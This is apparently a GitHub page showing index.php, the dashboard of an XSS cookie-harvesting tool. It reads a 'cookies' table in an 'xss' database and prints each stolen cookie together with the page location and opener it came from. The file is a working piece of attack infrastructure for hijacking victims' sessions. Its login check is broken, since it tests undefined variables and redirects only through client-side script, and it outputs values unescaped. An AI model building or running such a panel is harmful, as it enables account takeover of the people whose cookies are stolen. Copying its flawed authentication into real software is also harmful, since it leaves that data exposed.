-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.php
41 lines (32 loc) · 834 Bytes
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
// session开始
session_start();
if ($p_user != $_SESSION['password'] && $p_pass != $_SESSION['name']){
$page="login.php";
echo "<script>window.location = \"".$page."\";</script>";
}
$conn = mysql_connect(SAE_MYSQL_HOST_M.':'.MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
if (!$conn)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("xss", $conn);
$result = mysql_query("SELECT * FROM cookies");
echo "<table border='1'>
<tr>
<th>location</th>
<th>cookie</th>
<th>toplocation</th>
<th>opener</th>
</tr>";
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['location'] . "</td>";
echo "<td>" . $row['cookie'] . "</td>";
echo "<td>" . $row['toplocation'] . "</td>";
echo "<td>" . $row['opener'] . "</td>";
echo "</tr>";
}
mysql_close($conn);
?>